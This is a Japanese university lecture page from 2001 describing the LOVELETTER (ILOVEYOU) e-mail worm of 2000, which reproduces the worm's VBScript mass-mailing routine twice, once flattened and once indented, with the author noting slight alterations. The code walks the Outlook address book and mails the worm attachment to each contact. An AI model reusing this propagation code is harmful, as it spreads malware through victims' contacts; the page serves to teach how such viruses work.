戻る LOVELETTER

LOVELETTER は、2000年5月に現れたコンピュータウィルスです。

Outlook のアドレス帳に登録されているメールアドレスすべてに対して、 自分自身(ウィルス)を添付したメールを送信します。 メールのタイトルは "ILOVEYOU"、 本文は "kindly check the attached LOVELETTER coming from me." という内容で、 発送者は知人ですから、メールを受信した人は安心して添付ファイルを開いて感染するという、巧妙なウィルスです。 たくさんの被害が出て、新聞などでも報道されてすっかり有名になりました。

以下はこのウィルスの、メールを送信する部分のプログラムです(念のため、一部を変更してあります)。

for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count end if next


これではよく分かりませんが、改行したりインデントをつけると、少し見やすくなります。

少し赤く表示しているところで、タイトル (Subject) や本文 (Body) 、添付ファイル (Attachments) をつけて、メールを送信 (Send) しています。


for ctrlists=1 to mapi.AddressLists.Count
    set 
    a=mapi.AddressLists(ctrlists)
    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a)
    if (regv="") then
        regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
        for ctrentries=1 to a.AddressEntries.Count
            malead=a.AddressEntries(x)
            regad=""
            regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead)
            if (regad="") then
                set
                male=out.CreateItem(0)
                male.Recipients.Add(malead)
                male.Subject = "ILOVEYOU"
                male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
                male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
                male.Send
                regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD"
            end if
            x=x+1
        next
        regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count
    end if
next
	



情報処理概論 に戻る  講義資料 に戻る  コンピュータウィルス に戻る  戻る 


update; 2001.09.16 ueyama@infonet.co.jp